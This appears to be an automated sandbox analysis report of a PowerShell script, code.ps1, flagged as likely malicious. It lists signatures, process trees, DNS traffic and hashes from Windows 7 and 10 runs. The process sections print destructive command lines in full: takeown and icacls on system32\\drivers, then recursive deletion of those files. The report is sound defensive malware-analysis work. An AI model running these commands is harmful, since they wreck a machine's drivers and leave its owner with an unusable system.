Analysis Overview
SHA256
e53f33a359d561fbcaa76220b89e269001758a7be3b77886e9ad9a87f87a4399
Threat Level: Likely malicious
The file code.ps1 was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Command and Scripting Interpreter: PowerShell
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:37
Reported
2024-08-09 20:40
Platform
win7-20240729-en
Max time kernel
122s
Max time network
127s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\drivers\* >nul"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\drivers\*
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\drivers\* /grant Everyone:(F) >nul"
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\drivers\* /grant Everyone:(F)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\drivers\* >nul"
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
Network
Files
memory/2384-4-0x000007FEF6ACE000-0x000007FEF6ACF000-memory.dmp
memory/2384-5-0x000000001B620000-0x000000001B902000-memory.dmp
memory/2384-6-0x0000000002820000-0x0000000002828000-memory.dmp
memory/2384-7-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
memory/2384-8-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
memory/2384-9-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
memory/2384-10-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
memory/2384-11-0x000007FEF6810000-0x000007FEF71AD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:37
Reported
2024-08-09 20:40
Platform
win10v2004-20240802-en
Max time kernel
140s
Max time network
146s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\drivers\* >nul"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\drivers\*
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\drivers\* /grant Everyone:(F) >nul"
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\drivers\* /grant Everyone:(F)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\drivers\* >nul"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 69.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
Files
memory/3244-0-0x00007FFBE9C63000-0x00007FFBE9C65000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ukayqsyd.wht.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3244-10-0x00000266F5330000-0x00000266F5352000-memory.dmp
memory/3244-11-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp
memory/3244-12-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp
memory/3244-15-0x00007FFBE9C60000-0x00007FFBEA721000-memory.dmp